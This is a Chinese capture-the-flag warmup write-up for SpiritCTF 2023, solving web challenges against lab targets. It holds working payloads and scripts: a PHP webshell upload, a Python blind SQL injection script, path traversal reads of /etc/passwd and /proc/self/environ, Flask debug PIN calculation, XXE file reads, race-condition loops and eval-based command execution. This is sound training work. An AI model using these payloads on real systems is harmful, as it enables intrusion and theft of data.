比赛介绍
2023 SpiritCTF Warmup 为 2023 SpiritCTF 热身赛
属于 吉林大学“山石网科”杯第五届大学生网络安全竞赛 系列赛事
比赛时间为 2023/9/5 - 2023/10/17
热身赛与正赛
- 热身赛题目包括但不限于各个方向的入门题目、与本次 2023 SpiritCTF 难度相当的题目、往年SpiritCTF(校赛)的题目,用于帮助大家有针对性的入门
- 热身赛期间成绩突出的同学将被定向邀请至 2023 SpiritCTF 线下赛场(注:线下赛场与线上赛场采用同样的比赛地址解答相同题目,不过线下赛场更能体会到 CTF 的比赛氛围,并且入围线下赛场的同学可以获得 Spirit 战队的精美周边)
- 线下赛场名额上限为 45 ,热身赛总榜靠前、解出某道难度较高热身赛题给出题人留下深刻印象都有可能被定向邀请到线下赛场
- 正赛于十月下旬开始,模式为组队赛(三人一队)
Signin1
题目描述:
App1e_Tree在赛前七天倒计时海报中的三张使用不同编码隐藏了一个flag,你能找到它么!
请移步SpiritGame 2023赛事群 143102236 精华消息中获取海报,关注比赛实时动态!
三张海报中中含有的信息如下
1.仅剩2天海报
Spirit{that_1s_the_fun_0f_ctf_
2.仅剩4天海报
5F396F30645F6C75636B5F7477305F755F62795F30766572663130777D
3.仅剩7天海报
\u006e\u0065\u0076\u0065\u0072\u005f\u0067\u0031\u0076\u0065\u005f\u0075\u0070
根据信息内容判断
- 1 为明文
- 2 为字符密文
- 3 为unicode密文
1 为明文,即有
Spirit{that_1s_the_fun_0f_ctf_
2 通过 字符在线加解密工具 解密后获得
_9o0d_luck_tw0_u_by_0verf10w}
3 通过 Unicode在线加解密工具 解密后获得
never_g1ve_up
根据 flag
格式 Spirit{xxxx}
推测应为132组合
Flag:
Spirit{that_1s_the_fun_0f_ctf_never_g1ve_up_9o0d_luck_tw0_u_by_0verf10w}
Signin2
纯纯签到题
题目描述:
Welcome to web@spirit2023.ctf~
打开页面后发现有一个 Get Your Flag
按钮
然而点击后没有什么反应(?)
1. 方法一:DevTools + curl
F12打开开发人员工具,调至网络选项卡,开启记录网络日志并刷新页面,选项卡内容显示如下:
点击 Get Your Flag
按钮后,网络选项卡显示内容变化为如下:
发现新增了一行 flag
通信包,于是推测该按钮发送了 /flag
请求,
并根据选项卡显示内容判断页面经过了 301重定向
于是使用 curl
工具:
curl -v (SpiritCTF Server URL with port)/flag
返回内容如下
HTTP/1.1 301 Moved Permanently
Flag: U3Bpcml0ezQ4NDY0YzNlLTJhMGQtNDVhNC04NTE4LWFlZTJhZDg5NDM4Y30=
Location: /
Server: Microsoft-NetCore/2.0
Date: xxxxxxx
Transfer-Encoding: chunked
由此获得经过加密后的 Flag
信息
Flag: U3Bpcml0ezk1YTkyYTkwLTYyMTMtNGRmMC05MjE2LTU4M2YwMGZmMjdlM30=
2. 方法二:Burp Suite
打开 Burp Suite
开启浏览器流量代理
发现该按钮指向 /flag
路径并被301重定向
在 /flag
路径的 Response
中发现 Flag
信息如下:
Flag: U3Bpcml0ezk1YTkyYTkwLTYyMTMtNGRmMC05MjE2LTU4M2YwMGZmMjdlM30=
3. Flag 解密
结合该字符串形式,判断flag经过了Base64加密
使用Base64在线加解密工具
即可获得flag如下
Spirit{95a92a90-6213-4df0-9216-583f00ff27e3}
baby_php
题目描述:
\/\/PHPは最高~\/\/
for hackers
打开页面发现题目给出了一段php
代码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
if (!isset($_GET['a']) || !isset($_GET['b']))
die('Never gonna give you up');
$a = $_GET['a'];
$b = $_GET['b'];
if ($a == $b || md5($a) != md5($b)) {
die('Never gonna let you down');
}
if (!isset($_GET['c'])) {
die('Never gonna run around and desert you');
}
if (file_get_contents($_GET['c']) !== 'Never gonna make you cry') {
die('Never gonna say goodbye');
}
if (!isset($_GET['d'])) {
$_GET['d'] = 'flag.php';
echo 'Never gonna tell a lie and hurt you';
}
include $_GET['d'];
你被骗啦(误)
接下来对代码的各个部分进行分析
1. 第一部分
if (!isset($_GET['a']) || !isset($_GET['b']))
die('Never gonna give you up');
此处判断是否通过GET
方式传入 a
和 b
两个arg
如果任意一个参数没有传入 则终止运行并抛出
Never gonna give you up
因此可以通过页面回显判断代码运行到的位置
$a = $_GET['a'];
$b = $_GET['b'];
if ($a == $b || md5($a) != md5($b)) {
die('Never gonna let you down');
}
此处代码接收 a
& b
两个arg的值
并只有在
a
不等于b
a
的MD5值与b
相等时
才能通过检测
否则终止运行并抛出
Never gonna let you down
此处常见的绕过方式有:
- 构造非字符串参数绕过 (仅限于旧版本PHP)
- 利用弱类型特性0e绕过
- 直接使用md5碰撞
1.1 构造非字符串参数绕过 (仅限于旧版本PHP)
已知旧版本PHP在调用
md5
函数时如果传入的参数为非字符串类型,会直接返回NULL
利用这一特性,我们可以通过构造 a
和 b
两个不同的非字符串参数
使得”NULL=NULL”成立来绕过这一检测
例如我们可以使用数组类型绕过
a=[]=1&b=[]=2
1.2 利用弱类型特性0e绕过
由于PHP的弱类型特性,若
md5
函数返回的字符串以0e
开头,会被PHP识别为科学计数法,将其值转化为0
因此只需要 a
和 b
不相同且经过 md5
加密后的密文都以 0e
开头即可
常见的符合条件的字符串如下:
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
- s214587387a
- s214587387a
在其中任意选择并赋给 a
& b
即可
1.3 直接使用md5碰撞
此方法亦可用于”===”强类型碰撞,旨在寻找含有相同md5值的不同字符串
经查找后可以找到如下 a
& b
满足条件:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
2. 第二部分
if (!isset($_GET['c'])) {
die('Never gonna run around and desert you');
}
if (file_get_contents($_GET['c']) !== 'Never gonna make you cry') {
die('Never gonna say goodbye');
}
此处判断是否通过 GET
方式传入了arg c
,
然后使用 file_get_contents
函数读取 c
,
将读取结果与 Never gonna make you cry
比对
若比对失败则终止运行并抛出
Never gonna say goodbye
由于此处用到了文件读取函数 file_get_contents
因此考虑使用 data://
伪协议绕过
data://text/plain,(string)
因此将arg c
赋值为 data://text/plain,Never gonna make you cry
3. 第三部分
if (!isset($_GET['d'])) {
$_GET['d'] = 'flag.php';
echo 'Never gonna tell a lie and hurt you';
}
include $_GET['d'];
最后一处代码将arg d
的默认值设置为 flag.php
,提示我们在 flag.php
中寻找线索
但是我们如果直接将这种含有PHP代码的文件的文件名传入
include
函数,
就会由于PHP代码被执行而无法通过可视文本的形式泄露
因此想到使用PHP伪协议的 Filter
,把代码内容经过base64加密后再进行输出
d=php://filter/read=convert.base64-encode/resource=flag.php
得到输出内容如下
PD9waHAKJGZsYWcgPSAkX0VOVlsnRkxBRyddID8/ICdTcGlyaXR7ZmFrZS1mbGFnLXF3cX0nOwpmaWxlX3B1dF9jb250ZW50cygnc3Bpcml0ZmxhZ3F3cScsICRmbGFnKTsK
经过 Base64在线加解密工具 解密后得到
<?php
$flag = $_ENV['FLAG'] ?? 'Spirit{fake-flag-qwq}';
file_put_contents('spiritflagqwq', $flag);
发现 flag
信息被写入了 spiritflagqwq
文件中
3.1 小盲点
然而做题过程中发现出题人并没有预先将flag
信息写入spiritflagqwq
文件中,
因此需要先执行一次 flag.php
将flag信息写入 spiritflagqwq
文件中
可以通过不传入arg
d
,使得其被置为默认值flag.php
来使得flag.php
文件被执行
最后将 arg d
设置为 spiritflagqwq
来读取 spiritflagqwq
文件
得到如下信息:
U3Bpcml0ezFjODJlODRmLWNiOTctNDQ3Ni1iYTI5LTdmZDY2ODcxMGM3MH0=
经过 Base64在线加解密工具 解密后得到
Spirit{1c82e84f-cb97-4476-ba29-7fd668710c70}
ez_Web
模版套娃题
题目描述:
Hint: flag在/flag里~
1. 第一层:301 Redirect
打开页面后显示403 Forbidden,提示页面入口不在这里
使用dirsearch目录工具扫描
发现两个目录
200 - 382B - /index.html
200 - 19B - /test.php
访问 index.html
发现又是 301 Redirect
同 Web - signin
可以用 curl
或 burp suite
方法
1.1 curl 方法
curl (SpiritCTF Server URL with port)/index.html
1.2 burp suite 方法
得到如下信息
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>测测你的网速</title>
<script>
window.location.href = 'test.php'
//fffff_test.php
</script>
</head>
<body>
</body>
</html>
提示我们到 fffff_test.php
中去寻找线索
2. 第二层:GET 传参
访问 fffff_test.php
获得如下信息
什么!?你连JQK都没有?给我一个JQK,我给你一个789。
根据信息构造 GET
传参:?JQK=789
3. 第三层:file_get_contents() 利用
传参后进入 /fffFfff1ag.php
,得到如下代码
<?php
highlight_file(__file__);
$filename = $_GET['file'];
$content = file_get_contents($filename);
if(preg_match('/flag/i',$content)){
die();
}
echo $content;
?>
由于Spirit的flag没有flag标识,因此无需绕过PHP的 preg_match
直接传入 file=/flag
即可
3.1 PS: preg_match 绕过
preg_match 对 $content 内容的过滤可通过PHP的 Filter
伪协议绕过
php://filter/read=convert.base64-encode/resource=/flag
通过将flag内容使用base64密文输出,可有效过滤 preg_match
对flag包含的检测
只需将密文经过 Base64在线加解密工具 解密即可获得flag
得到flag
Spirit{eec1fb16-5aa0-4ab2-95c3-dbf3b582be28}
至此,三层套娃全部结束
ez_Web2
又是套娃题(误)
题目描述:
Hint: robots
1. 第一层:robots 泄露
打开页面后显示
系统维护中,暂未开放
根据 Hint 内容访问 /robots.txt
,得到如下信息:
User-Agent: *
Disallow: login.php
2. 第二层:弱密码爆破
根据提示访问 login.php
发现一个登录框,进行弱密码尝试
尝试后发现
用户名:admin
密码:123456
3. 第三层:file_put_contents() 利用
登录后返回如下PHP代码
<?php
error_reporting(0);
session_start();
highlight_file(__FILE__);
if(!$_SESSION['login']){
echo '请先登录';
die();
}
$data = $_POST['data'];
$filename = $_POST['filename'];
str_replace('php','',$data);
file_put_contents($filename,$data);
?>
观察到函数 file_put_contents
可控,考虑使用 Web Shell
由于此处 str_replace
的调用没有把返回值赋回给 data
,所以此行代码无效
构造参数如下( 注意使用POST方法传参 ):
?filename=shell.php&data=<?php eval(@$_POST['shell']); ?>
3.1 HackBar
登录过后无需携带 Cookies
3.2 curl
注意携带登录过后的PHPSESSID作为Cookies
curl -X POST -d "filename=shell.php&data=<?php eval(@$_POST['shell']); ?>" -b "PHPSESSID=xxxx" (SpiritCTF Server URL with port)/ffffffLag.php
Web Shell 生成完毕后使用 中国蚁剑antSword
连接靶机
注意此处连接密码为 data
中 POST
的参数名称
进入根目录即可找到 flag
Flag:
Spirit{30df4f45-adf4-478d-a90a-00e3f91877c7}
3.3 PS: str_replace 绕过方法
str_replace
可使用双写绕过,例如:
data = str_replace('php','',$data);
可以通过以下方式绕过
data = pphphp
此处 str_replace
函数将 p{php}hp
中花括号部分替换为空字符串,
最后仍剩余 php
,从而达到绕过效果
ez_sql
题目描述:
Hint: sql盲注
打开页面发现有一个认证登录界面
根据提示sql盲注得知
我们无法通过显性方式直接获取数据,但可以通过不同输入的回显值不同来判断输入条件是否成立
因此我们尝试判断条件 True
和 False
的回显值区别
经过初步尝试发现屏蔽了空格的输入,若包含空格则会
alert Hack!
此处使用
/**/
替换空格,以绕过空格屏蔽
由于登录界面的sql注入应为字符型注入,因此分别尝试使用以下表单进行测试
username=admin'/**/and/**/1=0#
password=123
alert 用户名不存在!
username=admin'/**/and/**/1=1#
password=123
alert 密码错误!
根据 alert
的内容可以判断出网页后端对登录表单的校验是用户名与密码分离的
即先进行用户名存在性校验,再进行密码正确性校验
这种设置给了我们实现 sql布尔盲注
的可能
只需构造 username
的 payload
,就可以根据回显值的不同判断 payload
中的构造条件是否成立
因此数据长度可以通过 length()
函数并枚举长度进行比对来判断
数据内容可以通过使用 substr()
、 mid()
、 substring()
等函数对数据中的字符逐个进行截取并与字符表比对来读取
sql数据截取函数使用说明如下:
substr(string, start, length):将 string 从 start 开始的位置,截取 length 个字符
mid(string, start, length):将 string 从 start 开始的位置,截取 length 个字符
substring(string, start, length):将 string 从 start 开始的位置,截取 length 个字符
构造 payload
有效载荷 如下:
payload = "admin'/**/and/**/length(({0}))={1}#".format(data_payload,n) #判断数据长度
payload = "admin'and/**/ascii(substr(({0}),{1},1))={2}#".format(data_payload,i,ord(char)) #逐字符读取数据内容
其中 data_payload 为可输出数据内容的语句 (select语句等)
构造 Python
攻击代码如下
import requests
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~{}" #常用字符表
result = ""
#判断字符串长度
def get_length(value):
for n in range(1,100):
payload = "admin'/**/and/**/length(({0}))={1}#".format(data_payload,n)
data = {"username":payload,"password":"123"}
html = requests.post(url,data=data)
length = len(html.text)
if length == value:
print("The data length is: " + str(n))
return n
#读取字符串内容
def get_data(data_length,value):
global result
for i in range(1,data_length):
for char in chars:
payload = "admin'and/**/ascii(substr(({0}),{1},1))={2}#".format(data_payload,i,ord(char))
data = {"username":payload,"password":"admin"}
html = requests.post(url,data=data)
length = len(html.text)
if length == value:
result += char
print("Reading data: " + result)
break
url = "(SpiritCTF Server URL with port)/index.php"
data_payload = "xxxx"
value = 3297 #此处应根据实际设置为payload构造条件成立时response的长度
length = get_length(value) +1
get_data(length,value)
print("The data is: " + result)
由于不知道 flag
内容的存放位置,应先对存放着 flag
内容的数据库名、数据表名、字段名进行读取,最后再读取 flag
内容
1. 读取数据库名
data_payload = "database()"
输出内容如下:
得到数据库名为 jluCTF
2. 读取数据表名(默认第一张表)
data_payload = "select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='jluCTF'/**/limit/**/0,1"
输出内容如下:
得到数据表名为 flag
3. 读取字段名 (默认第一个字段)
data_payload = "select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema='jluCTF'/**/and/**/table_name='flag'/**/limit/**/0,1"
得到字段名为 flag
4. 读取 flag
内容
data_payload = "select/**/flag/**/from/**/flag"
输出内容如下:
得到 flag
:
Spirit{64e90c7c-e9bc-4809-aa91-ade46ceffbb1}
pin & pin_revenge
pin 题目描述:
PIN~PON!
打开页面后发现跳转到了 /?location=index.html
页面显示 qwq
(?)
经过测试发现 /?location=
处存在任意文件读取漏洞
1. 非预期解 (仅pin题内存在)
由于该题的环境变量没有删除干净,
因此可以从当前进程的环境变量文件中读取 flag
内容
payload
如下:
/?location=../../../../../../proc/self/environ
页面返回如下内容:
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=20be9d370cb1FLAG=Spirit{badd44f8-94eb-4648-b5d3-cdf837431e52}LANG=C.UTF-8GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DPYTHON_VERSION=3.11.3PYTHON_PIP_VERSION=22.3.1PYTHON_SETUPTOOLS_VERSION=65.5.1PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/0d8570dc44796f4369b652222cf176b3db6ac70e/public/get-pip.pyPYTHON_GET_PIP_SHA256=96461deced5c2a487ddc65207ec5a9cffeca0d34e7af7ea1afc470ff0d746207HOME=/rootWERKZEUG_SERVER_FD=3WERKZEUG_RUN_MAIN=true
从中获得 pin
题的 flag
如下:
Spirit{badd44f8-94eb-4648-b5d3-cdf837431e52}
2. 预期解 (pin&pin_revenge通用)
PIN码是Flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式。
这两题旨在考查通过任意文件读取漏洞计算 python flask debug 模式下的 pin 码,并利用debug shell读取flag
计算逻辑位于 python3.x/site-packages/werkzeug/debug/__init__.py#get_pin_and_cookie_name
,
版本不同的区别在于3.6与3.8的md5加密和sha1加密不同。
2.1 PIN生成要素
2.1.1 username
用户名。通过 getpass.getuser() 读取,通过文件 /etc/passwd
读取。
2.1.2 modname
模块名。通过 getattr(mod,”file”,None) 读取,默认值为 flask.app
。
2.1.3 appname
应用名。通过 getattr(app,”name”,type(app).name) 读取,默认值为 Flask
。
2.1.4 moddir
Flask库下 app.py 的绝对路径。通过 getattr(mod,”file”,None) 读取,实际应用中通过报错读取。
2.1.5 uuidnode
当前网络的mac地址的十进制数。通过 uuid.getnode() 读取,通过文件 /sys/class/net/eth0/address
得到16进制结果,转化为10进制进行计算。
2.1.6 machine_id
docker机器id。每一个机器都会有自已唯一的id,
linux的id一般存放在 /etc/machine-id
或 /proc/sys/kernel/random/boot_id
,
docker靶机则读取 /proc/self/cgroup
或 /proc/self/mountinfo
,其中第一行的 /docker/ 字符串后面的内容作为机器的id,在docker环境下读取后两个,非docker环境三个都需要读取。
首先访问/etc/machine-id,有值就break,没值就访问/proc/sys/kernel/random/boot_id,然后不管此时有没有值,再访问/proc/self/cgroup其中的值拼接到前面的值后面。
Python Flask Debug Pin 的计算代码如下:
2.2 Python < 3.8 MD5 Pin计算代码
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb', #username
'flask.app', #modname
'Flask', #appname
'/usr/local/lib/python3.7/site-packages/flask/app.py' #moddir
]
private_bits = [
'25214234362297', #uuidnode
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' #machine_id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
2.3 Python >= 3.8 sha1 Pin计算代码
import hashlib
from itertools import chain
probably_public_bits = [
'root', #username
'flask.app', #modname
'Flask', #appname
'/usr/local/lib/python3.11/site-packages/flask/app.py' #moddir
]
private_bits = [
'2485376910315', #uuidnode
'3c253d1e-8856-4e45-98b5-e82146c245c5' #machine_id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
2.4 利用任意文件读取获取信息
2.4.1 读取 username
payload
如下:
/?location=../../../../../../etc/passwd
返回如下信息
root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin
判断 username = “root”
2.4.2 读取 moddir
随机输入不存在的路径或者将 ?location=
参数置空即可获得报错界面如下
从中即可获取 moddir = “/usr/local/lib/python3.11/site-packages/flask/app.py”
2.4.3 读取 uuidnode
payload
如下:
/?location=../../../../../../sys/class/net/eth0/address
返回如下信息
02:42:ac:02:04:80
经过 在线进制转换工具 将16进制转10进制转化后可得
得到 uuidnode = “2485376910464”
2.4.4 读取 machine_id
尝试读取
/?location=../../../../../../etc/machine-id
发现页面抛出 FileNotFoundError
错误
判断靶机为docker (其实本来就知道)
因此尝试读取
/?location=../../../../../../proc/sys/kernel/random/boot_id
返回如下信息
3c253d1e-8856-4e45-98b5-e82146c245c5
尝试读取
/?location=../../../../../../proc/self/cgroup
返回如下信息
0::/
即为空,无信息
因此得出 machine_id = “3c253d1e-8856-4e45-98b5-e82146c245c5”
最后将得到的信息填入Pin计算代码中即可获得当前环境的Pin码如下:
564-346-887
请注意:由于Docker每次启动后uuidnode值会改变,Write Up中的Pin值对该题并不具有普适性,请根据实际环境自行读取uuidnode值并计算相应环境的Pin码使用
2.5 获取 debug shell
随机输入不存在的路径或者将 ?location=
参数置空即可获得报错界面如下
点击右侧控制台图标并输入Pin码即可获得 debug shell
在控制台输入 os.getenv('FLAG')
即可获得flag
获得 pin_revenge
题的 flag
如下:
Spirit{badd44f8-94eb-4648-b5d3-cdf837431e52}
ez_xxe
题目描述:
so easy………
打开页面后是一个可以输入XML文档的界面
并且输入后有回显
结合题目标题判断是利用xxe漏洞恶意引入外部实体,直接读靶机文件
payload
如下
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY flag SYSTEM "file:///flag" >
]>
<spirit><flag>&flag;</flag></spirit>
提交并返回如下界面,获得 flag
:
Spirit{19246b7d-dc61-4829-a4f7-54ffd5d76b01}
sharpshop
题目描述:
Hint: 🤖
打开页面后发现是拼夕夕砍价买flag
经过一个简单的尝试,发现 flag
的价格永远砍不到钱包价格及以下 (典)
砍到这里就砍不动了 (需要10个金币再砍1刀,10个积分换1个金币 无限循环···)
1. 反编译ELF-app
Hint 提示我们 robots
,因此访问网站的 robots.txt
如下:
根据提示下载 /sharpshop.tar
发现一个 ELF
类型的 app
初步判断是一个使用 c#
编写的服务端程序
(此处也可根据题目名称 sharpshop
进行合理猜测)
Web 突然变 Reverse (误)
使用 ILSpy
进行反编译,提取 c#
文件内容
核心代码如下:
// sharpshop, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// Shopping
using System.Threading;
internal class Shopping
{
private long _FlagPrice;
private long _Wallet;
private int _IsCutting;
private int _IsBuying;
public long FlagPrice => _FlagPrice;
public long Wallet => _Wallet;
public bool HasFlag { get; private set; }
public void CutDown()
{
while (Interlocked.Exchange(ref _IsCutting, 1) != 0)
{
}
_FlagPrice -= (_FlagPrice - _Wallet) / 2;
Interlocked.Exchange(ref _IsCutting, 0);
}
public bool Buy(out string message)
{
while (Interlocked.Exchange(ref _IsBuying, 1) != 0)
{
}
long flagPrice = _FlagPrice;
_Wallet -= flagPrice;
message = $"购买后余额:{_Wallet}";
bool result;
if (_Wallet < 0)
{
_Wallet += flagPrice;
message += ",余额不足~";
result = false;
}
else
{
message += ",购买成功~";
HasFlag = true;
result = true;
}
Interlocked.Exchange(ref _IsBuying, 0);
return result;
}
public Shopping()
{
_IsCutting = 0;
_IsBuying = 0;
_Wallet = 100L;
_FlagPrice = long.MaxValue;
HasFlag = false;
}
}
2. 竞态条件利用
仔细观察后就会发现该代码的反常之处
在计算余额是否足够购买 flag
时
代码没有直接判断 _Wallet - flagPrice
的正负
而是先将 _Wallet -= flagPrice
如果余额不足再 _Wallet += flagPrice
考虑到两个互斥锁仅控制了单个函数不能被同时多次调用
并没有控制两个函数的同时运行
且由于两个函数都访问了 _FlagPrice
和 _Wallet
因此存在竞态条件的可能
假设 action
CutDown
中的_FlagPrice -= (_FlagPrice - _Wallet) / 2;
在 actionBuy
的_Wallet -= flagPrice
和_Wallet += flagPrice
之间发生,
就可以使得_FlagPrice
降低到_Wallet
以下,从而得以购买flag
3. 解决方案
构造两个发包脚本并同时运行即可
注意携带当前会话的 sessionId
Cookies
#!/bin/bash
while true
do
curl -b "sessionId=xxxx" "(SpiritCTF Server URL with port)/?action=buy"
done
#!/bin/bash
while true
do
curl -b "sessionId=xxxx" "(SpiritCTF Server URL with port)/?action=cutDown"
done
同时运行两个脚本一段时间后会发现 Flag价格
和 钱包
都变成了0
因此得以购买成功
得到 flag
如下
Spirit{61a9950d-0e0a-4141-b04d-278961a87df0}
送分你要不要>_<
题目描述:
这是一道没有意思的签到题😠
打开页面后得到PHP代码如下:
<?php
error_reporting(0);
show_source(__FILE__);
// SpiritWelcome to
if ("App1eTree" == $_POST['spirit'] && "Flag!SpiritCTF" == $_POST[give_you2023]) {
;eval($_POST['QWQ']);
echo "恭喜!flag送你啦";
}else {
echo "Welcome to Spirit CTF 2023(but warm)!";
}
echo '<script src="nonono.js"></script>';
?>
1. 不可见字符识别
根据该段代码神奇的高亮,判断此处存在不可见字符
这些不可见字符调整了可见字符的显示顺序
将代码复制到 Visual Stuidio Code
中分析
可以看到不可见字符被显示了出来
2. eval 利用
注意到该PHP代码使用了eval($_POST[‘QWQ’]);
因此想到可以通过 eval
函数来执行 system
命令 cat
出 flag
3. Payload 构造
根据题目要求构造POST数据包如下:
3.1 Python requests POST
import requests
url = "(SpiritCTF Server URL with port)"
global result
data = {"spirit":"App1eTree","give_you2023":"Flag!SpiritCTF","QWQ":'system("cat /flag");'}
html = requests.post(url,data=data)
print(html.text)
发送POST数据包后,返回如下信息:
<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br />error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">show_source</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /></span><span style="color: #FF8000">// Sp
iritWelcome to<br /></span><span style="color: #007700">if (</span><span style="color: #DD0000">"App1eTree" </span><span style="color: #007700">== </span><span style="color: #0000
BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'spirit'</span><span style="color: #007700">] && </span><span style="color: #DD0000">"Flag!Spiri
tCTF" </span><span style="color: #007700">== </span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #0000BB">give_you2023</span><span st
yle="color: #007700">]) {<br /> ;eval(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'QWQ'</span><span style="color: #007700">]);<br /> echo </span><span style="color: #DD0000">"恭喜!flag送你啦"</span><span style="color: #007700">;<br />}else {<br /> echo </span><span style="color: #DD0000">"Welcome to Spirit CTF 2023(but warm)!"</span><span style="color: #007700">;<br />}<br /><br />echo </span><span style="color: #DD0000">'<script src="nonono.js"></script>'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">?></span>
</span>
</code>Spirit{00e6fceb-debc-4aa6-a721-489f4da2e7f0}
恭喜!flag送你啦<script src="nonono.js"></script>
得到 flag
如下:
Spirit{00e6fceb-debc-4aa6-a721-489f4da2e7f0}
easy_ssti
题目描述:
R U SMART ENOUGH www
打开页面后发现有很多题目
结合题目标题 ssti
和 题目描述 SMART
可以判断出该题为 Smarty的SSTI模版注入
是谁做完了所有题目才发现是 SSTI 我不说
随意点击一个 challenge
,发现页面跳转到了 /challenges.php?name=xxxx
,
由此判断后端会使用文件读取函数读取名字为 xxxx
的模版文件并渲染到前端
利用 data
伪协议构造 payload
如下:
/challenges.php?name=data://text/plain,{$smarty.env.FLAG}
即可将 smarty
的环境变量 FLAG
显示到前端
得到 flag
如下:
Spirit{f94322ca-2c8f-4dc3-87f4-ec75d4c7bbbc}
你喜欢鸣濑白羽吗
题目描述:
不喜欢鸣濑白羽(?)的是不能拿到flag的😘
最好用火狐浏览器打开抓包,用bp(已经恢复了)
打开页面后发现是一个图库管理下载系统
1. 任意文件读取漏洞
点击 Download
按钮,发现页面跳转到了 /download?filename=xxxx
经过测试发现 filename
字段存在任意文件读取漏洞
访问 /download?filename=/proc/self/cmdline
,内容如下:
python /app/Nanami.py
根据服务端代码路径访问 /download?filename=/app/Nanami.py
,
得到服务端代码如下:
import mimetypes
import os
import subprocess
from flask import Flask, make_response, request, render_template
import jwt
import logging
app = Flask(__name__)
SECRET_KEY = "I_LIKE_Aoyama_Nanami"
logging.basicConfig(filename='error.log', level=logging.ERROR)
@app.route('/')
def index():
token = request.cookies.get('auth')
if not token:
token = jwt.encode({
'username': 'guest',
}, SECRET_KEY, algorithm='HS256')
response = make_response(render_template('index.html'))
if not request.cookies.get('auth'):
response.set_cookie('auth', token, httponly=True, samesite='Lax')
return response
@app.route('/download', methods=['GET'])
def download():
token = request.cookies.get('auth')
if token:
try:
data = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
username = data['username']
except Exception as e:
return str(e)
filename = request.args.get('filename', '1.jpg')
filepath = os.path.join('static/images', filename)
if username == 'admin' and filename == "yuanshen?qidong!":
try:
output = subprocess.check_output(['/readflag'])
return output.decode('utf-8')
except subprocess.CalledProcessError as e:
